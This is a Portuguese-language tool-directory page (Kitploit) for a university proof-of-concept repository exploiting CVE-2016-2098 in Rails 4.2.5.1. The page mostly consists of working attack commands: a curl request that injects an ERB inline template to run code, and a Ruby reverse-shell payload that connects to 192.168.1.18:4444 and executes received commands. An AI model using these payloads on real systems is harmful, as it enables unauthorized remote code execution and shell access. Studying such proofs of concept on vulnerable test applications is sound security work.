Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
rails-PoC-CVE-2016-2098 — Prova de conceito CVE-2016-2098 | Kitploit
Ferramentas/GitHubGitHub/alejandro-marting/rails-poc-cve-2016-2098
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e Educação
GitHubalejandro-marting/rails-poc-cve-2016-2098

rails-PoC-CVE-2016-2098

Prova de conceito CVE-2016-2098

Ver Repositório

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
1há 9 anosAinda não revisado

Uma Prova de Conceito da vulnerabilidade: CVE-2016-2098

Projeto universitário criado por @alejandro-marting onde podemos verificar a vulnerabilidade 2096

Usando:

  • rails 4.2.5.1
  • view possui um código vulnerável app/views/poc/render1.html.erb

![] (https://github.com/Alejandro-MartinG/rails-PoC-CVE-2016-2098/blob/master/app/assets/images/Captura%20de%20pantalla%20de%202017-01-15%2009:50:23.png)

##Execução: Em primeiro lugar, precisamos executar o servidor rails com o seguinte comando:

$ rvmsudo rails server -b 0.0.0.0 -p 80

Agora podemos causar a execução remota de código com o seguinte comando:

$ curl 'localhost:3000/poc/render1?template\[inline\]=<%25%3DFileUtils.touch+"rooted"%25>'

(Um arquivo 'rooted' deve ser gerado)

Se você quiser tentar um reverse shell com injeção de código ruby, pode executar o seguinte comando:

root@kitploit:~
$ curl -H "Content-type: application/json" -X GET -d ' {"template" : {
"inline" : "<%= require \'socket\';exit if
fork;c=TCPSocket.new(\"192.168.1.18\",\"4444\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print
io.read}end %>"}}'  http://localhost:3000/poc/render1

Se você tiver alguma dúvida, entre em contato comigo, por favor!

Baixar ferramenta